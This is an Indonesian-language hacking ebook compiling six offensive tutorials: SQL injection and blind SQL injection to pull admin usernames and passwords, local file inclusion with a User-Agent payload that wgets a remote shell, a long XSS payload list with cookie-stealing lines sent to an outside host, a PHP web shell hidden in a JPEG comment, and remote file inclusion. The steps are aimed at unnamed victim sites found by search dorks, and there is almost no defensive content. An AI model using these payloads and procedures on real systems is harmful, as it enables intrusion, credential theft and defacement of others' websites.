[+] Judul: [Indoneisa] Intro To Hack Basic #1

Ditulis oleh: failed_404
Kontak: failed404@gmail.com
Tim: Indonesian Coder Team (http://indonesiancoder.com/)

[+] Ringkasan
[1] Pengertian sql injection
[2] Local File Inclusion Step by Step
[3] Tutorial dan Pengertian XSS (Cross Site Scripting)
[4] Image Code Injection with LFI Tutorial
[5] Tutorial Blind SQL Injection Referensi Indonesia
[6] RFI Tutorial By kaMtiEz

Ringkasan :

Ebook ini adalah Tutorial Basic dari teman-teman yang sebagian besar dari Team Indonesian Coder
dan untuk kedepan nya akan ada lagi kelanjutan dari Ebook Intro To Hack Basic (To be Continue alias Bersambung :D)

Terima kasih untuk teman-teman dari Indonesian Coder Team sehingga bisa membuat Ebook sederhana ini .
Marilah kita terus bangkit , jangan saling menyinggung dan jangan lah berdiri sendiri-sendiri
Kita adalah team .. Indonesian Coder Team

Note :
We are One Unity, We are a Coder Family and We are Indonesian Coder Team.
Get the Codes and Feel the Soul.

1. Pengertian sql injection

[+] Author : Gonzhack
[+] Homepage : http://www.indonesiancoder.com

Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

==========
=step Satu:=
==========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--

==========
=step Tiga:=
==========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg
diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4
ini kita harus menebak sendiri table n column yg ada pada web tersebut karena
tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti
ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

==========
=step Empat:=
==========

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka
terakhir

[site]/berita.php?id=-
100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"

==========
=step Lima:=
==========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>>
dimasukan setelah angka terakhir

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_sche
ma.tables+where+table_schema=database()--

==========
= step Enam: =
==========

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>>
dimasukan setelah angka terakhir

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_sch
ema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal
yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-
100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_sch
ema.columns+where+table_name=0x61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan
pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi
column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-
100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admi
n--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda...

```
   2. Local FIle Inclusion Step by Step

        Author  : Don Tukulesto (root@indonesiancoder.com)
Homepage        : http://indonesiancoder.com

[o] INDEX [o]

I.      Penjelasan
II.     Konsep
III.    Bukti Konsep
IV.     Perbaikan
V.      Shout


I.      Penjelasan
_____________________________

Local File Inclusion (juga dikenal sebagai LFI) adalah proses termasuk file
di server melalui web browser. Kerentanan ini terjadi karena suatu script
include dalam file tersebut salah penggunaannya dan memungkinkan direktori
traversal karakter dapat dilansanakan.

II.     Konsep
_____________________________

Konsep serangan ini adalah perintah aplikasi untuk mengakses file komputer
yang tidak dimaksudkan untuk diakses. Serangan ini memanfaatkan kurangnya
keamanan (perangkat lunak ini bertindak persis seperti yang seharusnya)
sebagai lawan mengeksploitasi bug dalam kode.

Sebuah contoh kerentanan dalam file PHP

[php]<?php
$template = 'red.php';
if ( isset( $_COOKIE['TEMPLATE'] ) )
   $template = $_COOKIE['TEMPLATE'];
include ( "/home/xtux/include/templates/" . $template );
?>
[/php]

Sebuah serangan terhadap sistem ini bisa untuk mengirim permintaan HTTP
berikut:

[code]GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd%00[/code]

Menghasilkan respon server seperti:
```

[quote]root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin[/quote]

III. Bukti Konsep

Sebagai contoh disini menggunakan kerentanan pada komponen Joomla! ckforms

[quote]index.php?option=com_ckforms&controller=[/quote]

http://namasitus.domain/index.php?option=com_ckforms &controller=

Sekarang mari kita periksa /etc/passwd untuk memastikan bahwa ini adalah kerentanan Local File Inclusion.

[quote]http://namasitus.domain/index.php?option=com_ckforms &controller=
../../../../../../../../../../../../../../../etc/passwd[/quote]

berhasil disertakan

[quote]root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin[/quote]

Cek apakah proc/self/environ dapat diakses ?

[quote]http://namasitus.domain/index.php?option=com_ckforms &controller=
../../../../../../../../../../../../../../../proc/self/environ%00[/quote]

Jika mendapatkan sesuatu seperti

[quote]DOCUMENT_ROOT=/home/xtux/public_html/ GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT_CHARSET=ISO-8859-1,utf-8;q=0.7,*;q=0.7
HTTP_ACCEPT_ENCODING=gzip,deflate HTTP_ACCEPT_LANGUAGE=en-us,en;q=0.5
HTTP_CONNECTION=keep-alive HTTP_HOST=www.namasitus.domain HTTP_KEEP_ALIVE=115
HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.11) Gecko/20101012 Firefox/3.6.11 PATH=/bin:/usr/bin
QUERY_STRING=option=com_ckforms&controller=../../../../../../../../../../../../../../../../../../../proc/self/environ%00 REDIRECT_STATUS=200[/quote]

artinya proc/self/environ dapat diakses. Jika mendapatkan halaman tersebut kosong, itu dapat diartikan error dalam proc/self/environ atau tidak dapat diakses bahkan mungkin OS servernya adalah FreeBSD.

Langkah selanjutnya adalah penyuntikan kode berbahaya. Kita dapat menyuntikkan kode kita di User-Agent HTTP Header. Gunakan Tamper Data Addon untuk Firefox untuk mengubah User-Agent. Jika belum ada dapat di unduh Addon Tamper Data di [url=https://addons.mozilla.org/en-US/firefox/addon/966/Tamper%20Data]https://addons.mozilla.org/en-US/firefox/addon/966/Tamper Data[/url]

Mulai Tamper Data di Firefox dan buka URL

[quote]http://namasitus.domain/index.php?option=com_ckforms &controller=../../../../../../../../../../../../../../../etc/passwd[/quote]

Pilih Tamper dan pada kolom User-Agent isikan dengan kode berikut

[quote]<?system('wget http://hostingan.domain/shell.txt -O shell.php');?>[/quote]

atau

[quote]<?exec('wget http://hostingan.domain/shell.txt -O shell.php');?>[/quote]

kemudian tekan tombol submit. Hentikan Tamper Data, setelah itu kita periksa apakah kode berbahaya tersebut telah berhasil disuntikkan.

http://namasitus.domain/shell.php

IV. Perbaikan

Update program CMS yang digunakan

V. Shout

IN THE NAME OF ALLAH and MUHAMMAD SAW.
Thx SirGod for tutorial bout Shell via LFI - proc/self/environ method
m4h0666, M364TR0N, MISTER SAINT, GONZHACK, CYB3R_TR0N,
kaMtiEz, ran, Ibl13z, N4ck0, chercut, M3NW5, Xr0b0t, yurakha,
arianom, Contrex, Mboys, senot, quick_silver, and you !
INDONESIAN CODER TEAM - Get the Codes and Feel the Soul

3. Tutorial dan Pengertian XSS (Cross Site Scripting)

```
        [+] Author : kaMtiEz
        [+] Email : null :D
        [+] WeB : www.magelangcyber.web.id - www.indonesiancoder.com -
                  www.exploit-id.com

[~] XSS adalah sebuah mol situs web dinamis dan merupakan bagian dari kode
keluarga injeksi.

[~] XSS tidak apa-apa kecuali modifikasi parameter melalui HTTP GET dan HTTP
POST
variabile pelaksanaan kode Javascript pada tingkat URL, tepat ditempatkan
dalam variabel atau lebih.

[~] Dalam menemukan apakah suatu 'XSS bukanlah tugas yang sulit, dan untuk
mengeksploitasi hanya kode sederhana javascript... javascript ...

[~] dimana kita memasukan code2 javascript dan menjadi
http://127.0.0.1/path/search.php?uid="> < script> Alert ( 'Test XSS') <
/script>

[~] contoh paling sederhana / classic adalah
"><  script>Alert( 'Test XSS')</script>

[~] jika suatu website terkena serangan XSS makan muncul cookie alert

[~] sekarang sudah banyak script2 untuk XSS seperti :

<script>alert(1);</script>
<script>alert('XSS');</script>
<script src="http://www.3v1L.org/cookiegrabber.php"></script>
<script>location.href="http://www.3v1L.org/cookiegrabber.php?cookie="+escape(
document.co
okie)</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83) )>
"><script>alert(0)</script>
"><script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">
<IMG DYNSRC=\"javascript:alert('XSS')\">
```

```
<font style='color:expression(alert(documentÂ·cookie))'>
'); alert('XSS
<img src="javascript:alert('XSS')">
<script language="JavaScript">alert('XSS')</script>
<body onunload="javascript:alert('XSS');">
<body onLoad="alert('XSS');"
[color:62ca-red' onmouseover="alert('xss')"]mouse over
"/></a></><img src=1.gif onerror=alert(1)>
window.alert("gotcha !");
<div
style="x:expression((window.r==1)?'':eval('r=1;ale
rt(String.fromCharCode(88,83,83));'))">
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
"><script alert(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>XSS</h1></marquee>
'"><script>alert('XSS')</script>
'"><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">
<script>var var = 1; alert(var)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')"
)}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
" onfocus=alert(document.domain) "> <"
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
<STYLE>li {list-style-image:
url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
<br size=\"&{alert('XSS')}\">
<scrscriptipt>alert(1)</scrscriptipt>
</br style=a:expression(alert())>
</script><script>alert(1)</script>
"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^ =alert("XSS")>
[color=red width=expression(alert(123))][color]
<BASE HREF="javascript:alert('XSS');//">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(123)</script>
<body onLoad="while(true) alert('XSS');">
'"></title><script>alert(1111)</script>
</textarea>'"><script>alert(documentÂ·cookie)</script>
'""><script language="JavaScript"> alert('X \nS \nS');</script>
</script></script><<<<script><>>>><<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>

[~] XXS tuh termasuk injection.. cara kerjanya sama persis dengan SQL
Injection...
cuma disini yang membedakan kalo XXS itu lebih kearah manipulasi data
apache/session

[~} kalo dibilang bisakah kita gunakan XXS untuk deface??
jawabnya bisa...
```

[~] sekalian menjawab XXS Phising..
[+] POC :
"><script TYPE="text/javascript">document.write("<script
type="text/javascript"
src="http://www.situs.com/hacked.js"></"+"script>");<h1>XSS By
kaMtiEz</h1>;</script>
oke sekian aja ..

Semoga Bermanfaat :D
./kaMtiEz
[Thx TO]
[+] INDONESIAN CODER TEAM - MAGELANG CYBER TEAM - EXPLOIT-ID - MALANG CYBER
CREW - ARUMBIA TEAM
[+]
tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntery,bobyhikaru,gonzhack,senot,Jack-
,Hakz,RyanAby,Albertwired
[+]
Contrex,YadoY666,MarahMeraH,k4mpret0,Pathloader,cimpli,MarahMerah,IBL13Z,r3m1
ck
[+] el_farahatz,Gh4mb4s,Jack-,vYc0d,ayy,otong,CS-
31,yur4kh4,MISTERFRIBO,GENI212,anharku,Jos_ali_joe
[NOTE]
[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM
[+] every day is Holiday :D
[+] MAGELANGCYBER TEAM - Keluarga Besar Saya :))
[QUOTE]
[+] INDONESIANCODER still r0x
[+] MAGELANGCYBER Never Die :D
[+] nothing secure ..

4. Image Code Injection with LFI Tutorial

```
[+] Author : Alecs
[+] Email  : null :D
[+] WeB    : hacker-newbie.org - blitarhackerlink.info
```

Header Image
Banyak orang tidak tahu bahwa dalam foto-foto dan gambar di samping grafis, ada juga bidang informasi pada header ini. Header ini hadir di semua gambar yang akan dibuat dalam hal fotografi, atau dalam kasus program normal seperti Photoshop atau GIMP. Umumnya, mereka berisi informasi seperti tanggal penciptaan, nama, ukuran, ukuran dan komentar.
Untuk memberikan ide saya akan menunjukkan gambar header saya:

File name : C:\Users\Alecs\Images\avatar.jpg
File size : 8631 bytes
File date : 2010:12:21 17:18:19
Resolution : 100 x 100
Comment : Avatar Forum

Seperti yang anda lihat kolom "Komentar" Aku sudah dimasukkan dalam contoh pertama, *Avatar Forum*, ini menunjukkan bahwa kita bisa mengubahnya sesuka hati, dan karena itu kita bisa menggunakan teknik ini dengan menyisipkan script.

Edited Comment with *Jhead*
Sekarang mari kita lihat cara mengedit komentar pada gambar, pertama mendapatkan diri program "jhead"; sekali download, lalu menuju ke direktori root dari hard, misal disk C: /.
Buka Start -> Run -> cmd pada command prompt, Anda harus terlebih dahulu memilih direktori untuk dimana dia berada
jhead lalu ketik "cd C :/"… baik sekarang untuk melihat header dari sebuah gambar perintahnya adalah:

```
1 jhead namaimage.jpg
```

Ketika kita mengirim perintah tersebut, maka akan muncul keterangan seperti ditulis seperti yang ditunjukkan dalam kotak keterangan di atas.
Sekarang untuk mengubah komentar, perintahnya adalah:

```
1 jhead -ce namaimage.jpg
```

Lalu akan membuka Notepad, sekarang kita dapat menyisipkan kode tersebut, misalnya, grabber cookie, sebuah shell, dll. Setelah menulis, langsung saja di save dan ayo let's play with exploitation.

Cara menggunakan teknik ini

Jangan meremehkan teknik ini karena, saya akan menunjukkan kini hadir sebuah gambar kode dengan situs host dapat menjadi sarana dimana Anda dapat menyerang dia. >:) Sekarang saya akan menunjukkan cara untuk memasukkan shell, misi webshell dasar php, anda dapat menyerang sebuah situs yang mempunyai LFI vulnerability.

```
01 <?php
02 if($_GET["fvck"]=="distr"){
03     unlink($_GET["file"]);
04 }elseif($_GET["fvck"]=="list"){
05     $myDirectory = opendir($_GET["dir"]);
06     while($entryName = readdir($myDirectory)) {
07         $dirArray[] = $entryName;
08     }
09     closedir($myDirectory);
10     $indexCount     = count($dirArray);
11     Print ("$indexCount files<br>\n")
12     sort($dirArray);
13     for($index=0; $index < $indexCount; $index++) {
14         echo $dirArray[$index] . "<br>";
15     }
16 }elseif($_GET["fvck"]=="vedi"){
17     echo htmlspecialchars(file_get_contents($_GET["file"]));
18 }elseif($_GET["fvck"]=="inc"){
19     include($_GET["file"]);
```

```
20 }

21 ?>
```

Setelah tersimpan kita harus menemukan sebuah situs dari LFI kereta seperti:

```
http://www.situskorban.com/index.php?file=home.php
```

Sekarang kita perlu meng-upload formulir di situs korban (misalnya memuat modul di avatar forum), saya akan memasukkannya dengan menerapkan shell dengan perintah:

```
http://www.situskorban.com/index.php?file=img/avatar/avatartutorial.jpg&fvck=
list&dir=
```

Nah, jika shell pada situs ini bekerja dan saya akan menampilkan file yang berada di ruang web korban, sekarang kita bisa menggunakan kesempatan ini untuk membaca file config.php jika ada pada situs untuk menemukan informasi tentang database password dll. 😀

Ok, sekian dulu.. Semoga Berguna 😀

5. Tutorial Blind SQL Injection Referensi Indonesia

+]Author : jos_ali_joe
[+]Contact : josalijoe[at]ymail[dot]com
[+]Home : http://alicoder.wordpress.com/ &
http://indonesiancoder.com/

Pendahuluan

Maaf sebelum nya disini saya hanya memberikan apa yang memang saya pelajari tentang Blind SQL Injectiuon
kalau mungkin dalam penjelasan ini kurang di mengeti mohon di maklumi hanya tutor cupu dari saya
dan buat yang sudah master tentang Blind SQL kalau dari penjelasan saya ada kesalahan mohon di luruskan
[~] Apa Itu Blind SQL Injection

Mari di sini kita membahas Blind SQL tanpa metode SQL Injection
Mungkin sudah banyak yang tahu tentang metode SQL Inject. Oke Lanjut :D
Blind SQL Ini adalah metode hacking yang memungkinkan seorang Attacker yang tidak sah untuk mengakses server database.
Hal ini difasilitasi oleh sebuah kesalahan pengkodean umum: program menerima data dari klien dan mengeksekusi query SQL tanpa terlebih dahulu memvalidasi masukan klien.
Attacker kemudian bebas untuk mengekstrak, memodifikasi, menambah, atau menghapus konten dari database
Attacker bahkan bisa menembus server database dan ke dalam operasi dasar system web yang di eksekusi.
Attacker biasanya akan mengetes kerentanan SQL injection dengan mengirimkan masukan aplikasi yang akan menyebabkan server untuk menghasilkan sebuah query SQL yang tidak valid.
Jika server kemudian kembali mengirimkan pesan karena kesalahan ke klien, Si Attacker akan mencoba untuk reverse-engineer bagian dari query SQL yang asli menggunakan informasi yang diperoleh dari pesan kesalahan tersebut.
Ciri khas dari administratif safeguard hanya untuk melarang menampilkan pesan kesalahan database server.
Sayangnya itu tidak cukup.Jika aplikasi anda tidak ada pesan error, mungkin masih rentan terhadap serangan SQL
Maaf bahasa nya terlalu kurang di mengerti.
[~] Mendeteksi Blind SQL Injection

Aplikasi Web biasanya menggunakan query SQL dengan masukan klien yang disertakan dalam klausa WHEREUntuk mengambil data dari database.
Dengan menambahkan kondisi tambahan untuk pernyataan SQL dan mengevaluasi output aplikasi web, Anda dapat menentukan apakah atau tidak aplikasi yang rentan terhadap SQL injection.
[~] Blind SQL Injection

Oke mari lanjut ke contoh Eksekusi Blind SQL Injection setelah di atas sudah menjelaskan tentang apa itu Blind SQL Injection dan Mendeteksi nya.

Yupz Lanjut Kang Disini saya menggunakan Contoh Eksekusi dengan dork [inurl:news.php?id=]
Contoh : http://www.site.com/news.php?id=2
Yuk Bareng Kita Inject :
http://www.site.com/news.php?id=2 dan 1 = 1 <--- ini selalu benar dan load halaman dari web itu sendiri masih normal
http://www.site.com/news.php?id=2 dan 1 = 2 <--- ini salah, jika masih ada beberapa teks, gambar atau beberapa konten yang hilang pada halaman kdari web kembali maka web tersebut rentan terhadap serangan Blind SQL Injection

[~] Mendapatkan Versi My SQL
Untuk mendapatkan versi MySQL dalam serangan blind harus menggunakan substring:
http://www.site.com/news.php?id=2 and substring(@@version,1,1)=4
Hal ini harus mengembalikan TRUE jika versi MySQL 4. Ganti 4 dengan 5, dan jika kembali query TRUE maka versi adalah 5.

[~] Memeriksa SubSelect
Ketika Kita menginject dan tidak bekerja maka kita gunakan subselect.
http://www.site.com/news.php?id=2 and (select 1)=1
Jika halaman web tersebut berubah normal kemudian subselect bekerja, maka kita akan melihat apakah kita memiliki akses ke mysql.user:
http://www.site.com/news.php?id=2 and (select 1 from mysql.user limit 0,1)=1
Jika load halaman web biasanya kita memiliki akses ke mysql.user dan kemudian kita bisa menarik beberapa load_file password menggunakan () fungsi dan outfile.

[~] Memeriksa Tabel dan Nama Kolom
Ini tingkat susah enak nya Blind SQL itu sendiri di sini keberuntungan dan menebak-nebak bekerja lebih dari apa pun.
http://www.site.com/news.php?id=2 and (select 1 from users limit 0,1)=1
(Dengan limit 0,1 query kita disini mengembalikan 1 baris data, menyebabkan kembali subselect hanya 1 baris, ini sangat penting)
Jika Anda mendapatkan FALSE (beberapa artikel yang hilang), hanya mengubah nama tabel sampai anda menebak yang benar.
Nah seumpama di sini kita sudah mendapatkan nama tabel pengguna, sekarang apa yang kita butuhkan adalah kolom nama.
Sama dengan nama tabel, kita mulai menebak. Seperti saya bilang sebelumnya coba nama umum untuk kolom:
http://www.site.com/news.php?id=2 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
Jika halaman web yang kita inject biasanya kita tahu bahwa nama kolom adalah password (jika kita mendapatkan
yang false kemudian coba nama umum atau hanya menebak).
Di sini kita menggabungkan 1 dengan password kolom, kemudian substring kembali karakter pertama (1,1)

[~] Mendapatkan Full Data Dari Web Yang Kita Inject
Kita telah menemukan tabel kolom username i password sehingga kami akan tarik karakter tersebut.
http://www.site.com/news.php?id=2 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
Ok di sini mari kita menarik karakter pertama dari pengguna pertama di tabel pengguna.
Substring di sini mengembalikan karakter pertama dan 1 karakter panjangnya.
ascii () mengkonversi bahwa 1 karakter ke nilai ascii dan kemudian membandingkannya dengan simbol yang lebih besar kemudian>.

Jadi jika ascii char lebih besar dari 80, beban halaman normal. (TRUE) kita terus mencoba sampai kita mendapatkan false.
http://www.site.com/news.php?id=2 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
Disini saya mendapatka True mari kita naikan true nya
http://www.site.com/news.php?id=2 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
Belum dapat juga true nya mari kita tambahkan lagi
http://www.site.com/news.php?id=2 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
Yupz Ternyata False ada di 99 .. :P
Jadi karakter pertama di username adalah char (99). karena (99) adalah huruf 'c' . Coba convert aja di ascii :P
Jadi teruslah Tambahkan sampai kita mendapatkan nya . (Ketika> 0 returns false kita tahu bahwa kita telah mencapai akhir)

[~] Beberapa Pertanyaan
Tanya : Untuk mengetahui char nya dari mana ??
Jawab : http://ascii-table.com/
Tanya : blind sql injection cisa buat inject smua site??
Jawab : bisa buat injek semua site yang memiliki bug sql. klo mau sih yg v5 pun bisa pakai blind injek. tp v5 kan ada table information_schema. jd di manfaatin.
Tanya : Trus buat ngecek bug cuma make ',and 1=1,and 1=0?? ad yg laen??
Jawab : bisa juga pakai tanda minus di belakangnya (?id=1-)
Tanya : maksudnya true am false apa? kalau true halaman web tetep? klo false halaman web burbah ?
Jawab : true = return benar sesuai kondisi yg di tentukan.
false = return salah berdasar kondisi yg di tentukan.
misal : and 1=1
=> true jika berita muncul. karena 1=1 adalah benar, jd muncul.
=> false jika berita tidak muncul
and 1=2
=> true jika berita tidak muncul. karena 1=2 adalah salah, jd gak muncul.
=> false jika berita ternyata muncul
Tanya : blind sql injection bisa ngInjek .htm? ato cuma yg php ujungnya?
Tanya : .htm, .php, .asp, dll. itu tergantung config server. ada server yang di config kalau file berextensi .htm adalah php itu bisa saja.
tapi normalnya, adalah .php. karena php yg mengelola data di server. tetepi sprt yg gw katakan barusan, gak semua yg .php, tp .htm pun bisa berisi php, sesuai config.
[~] Penutup
Terima kasih sudah membaca tutor cupu dari saya . mohon untuk jangan Tertawa jika ada yang salah .
Referensi : Google - Packetstorm Security - Wikipedia - Hacker Newbie
Grettz : ./Devilzc0de crew - Kebumen Cyber - Explore Crew - Indonesian Hacker - Tecon Crew - Palembang Hacker Link - Codenesia
./Byroe Net - Yogya Carderlink - Wannabe Hacker - anten4 - Hacker Newbie - Packetstorm Security - All Forum Underground Indonesia
My Team : ./Indonesian Coder
Special Thanks :./ Allah S.w.t & Muhammad S.a.w
./ Terima kasih buat guru Blind Sql : ./ArRay - game over - gt_portnoy

6. RFI Tutorial By kaMtiEz

Original Post By kaMtiEz

[+] sedikit tutorial bagaimana mendeteksi sebuah RFI vulnerabilty di dalam suatu CMS /php scripts

[+] dalam hal ini RFI adalah remote file include / inclusion dimana kita bisa melakukan require melalui injector //

[+] ok permisalan

1. misal file : function.php

2. di dalam source code function.php berisi scripts seperti
   Code:
   ```
   if(!$root['Path']){$root['Path'] = "./";}
   include($root['Path']."config/config.php");
   ```

3. apabila dalam function.php gagal meng query / error di line XxX kita dapat memasukkan injektor ..

4. dan code nya adalah :
   Code:
   http://127.0.0.1/path/function.php?root[Path]=

5. lalu tambahkan suatu injektor ..
   dan menjadi ..
   Code:
   http://127.0.0.1/path/function.php?root[Path]=http://127.0.0.1/injektor.txt

6. see what ? u got vuln with RFI …

[+] sekedar tutorial dari saya .. mohon maaf apa bila ada salah / kekurangan dalam tutor ini .

[+] ./e0f

[+] By kaMtiEz ~ original no copy paste ..